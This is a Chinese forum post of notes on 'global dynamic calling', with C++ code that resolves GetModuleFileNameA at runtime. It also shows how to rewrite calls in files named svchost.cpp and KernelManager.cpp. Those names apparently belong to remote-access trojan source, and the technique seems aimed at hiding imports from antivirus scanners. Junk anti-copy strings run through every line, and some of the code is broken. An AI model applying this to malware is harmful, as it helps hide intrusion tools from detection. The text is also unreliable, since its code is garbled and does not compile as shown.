返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
  g' E/ ?- A1 ]! ~2 Wsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h# Z8 m7 Y( D' N5 G* I
----------------------------------------
3 M* f+ J  o* S! J- FDTDY.h:$ ~0 d9 E9 U3 J0 c/ Y
( u1 ~  \6 _! @2 m$ A. U! J
#if _MSC_VER>1000% f5 l+ n/ l% d' n. v& T2 W
#pragma once
+ O) N; V9 U4 a& ?#endif //_MSC_VER>1000
5 K; a0 E6 g8 V$ L3 S! P- j#include<windows.h>" A. Z0 b3 ]7 B. @+ i+ l1 ?
0 N: u* a8 u1 F* N6 p0 X/ Z
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
  u* ~+ ]% f+ `5 B, r5 O1 t5 A0 uclass DTDY
+ V) _4 i* V3 R{
) M" L8 h# G) v9 s: y% Apublic:
* C/ A  g" W1 c7 |4 GDTDY();
6 Z- c( l' }- ]: p' Avirtual ~DTDY();! z  p' E( g9 [2 q
public:; C$ y2 ^5 q' p. w9 b; g6 ?( C
static pGetModuleFileNameA MyGetModuleFileName;% L0 r+ J$ c. k4 M% U
static BOOL FunInitiallization();
) j# K- ?$ |! c& h};
! E2 I+ z/ V! `. h8 c* O. x- L) C2 ]#endif
# F5 g+ D% E$ H$ F----------------------------------------
1 H+ j# w8 d# s; g
# H/ j8 E8 |7 q/ S, c6 D) @DTDY.cpp:4 `$ p' K$ o7 h+ \: C
, D& C4 f% A; Y7 h% `# t9 v+ ~
#include "DTDY.h"/ s  \  N1 e. `. e' k: y2 r9 U
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;/ D2 w( m) Y! ^9 w5 V2 J( `
DTDY:TDY()" w9 u* I4 A$ T
{
1 E* S, {% w& _1 Y}
8 L, T" {+ W$ ?/ W. V, u; h. LDTDY::~DTDY()
! q$ g( V5 q! c5 @{
, L/ v* B# O" W}
* n/ c" g+ J8 P) H' Q/ N. dBOOL DTDY::FunInitiallization()
( h# M- D% C  p6 S& Q{& V/ a- n: s! c5 d3 }
HMODULE hModule=LoadLibrary("kernel32.dll");2 d& v, h+ B$ m
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");) @/ A  n+ L8 P1 _
if(!MyGetModuleFileName=) return FALSE;8 N5 y! u) v) W( V5 o8 Y
% c! t6 h  i" ~2 r6 E- s0 G
return TRUE;5 E/ J6 F, ]5 V5 Q, r. |5 _
}2 U. _# }# h7 A# R
----------------------------------------0 R$ E/ B6 |- I& C
svchost.cpp:
7 u( |4 z1 _- k5 m# o; ?5 ]+ R1 p' e6 @4 r$ I
#include "DTDY.h"# `; _' Z- }0 f) L8 A: X

& d$ \1 f' N1 n& |9 ?BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
8 v8 p& Y7 }+ p  T: R{) C  i) o8 N6 T6 m+ y/ c# I
switch(ul_reason_for_call)' Z; ^8 U9 [. _; |8 G
{
0 X+ d2 v. R$ A. Q5 J7 O# `. E% gcase DLL_PROCESS_ATTACH:
7 |8 x: c/ W1 Z. y  n, q0 R' kif(!DTDY::FunInitiallization()) return FALSE;2 @3 Q8 E: T+ F$ w) A, }
8 F! c7 i8 g$ B# i6 C
break;, h; w, x* X; p1 m8 q
}- M( m6 {( Y  @; a
}- [( M1 `; v7 W# Z( i
% T* @) J) K: `  j. S
" t4 i+ o$ D& i
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def5 y; r* K7 g( S, B
改写为
) v0 |& \2 n5 D" gDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));! C- L8 p) d: D! W
----------------------------------------6 ]: ^$ g' ?2 S
KernelManager.cpp:. Y: }6 g! x. [6 V
% N4 S. o, D# }0 Y  f' L
#include "../DTDY.h"
$ G  E, p- [# Q8 a; sGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
/ d& O/ A2 k& G5 R2 Y& d改写为7 @1 X5 _  s# A( k9 m) m
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
; p6 a) ]4 r) }4 t, v' g1 z----------------------------------------

返回列表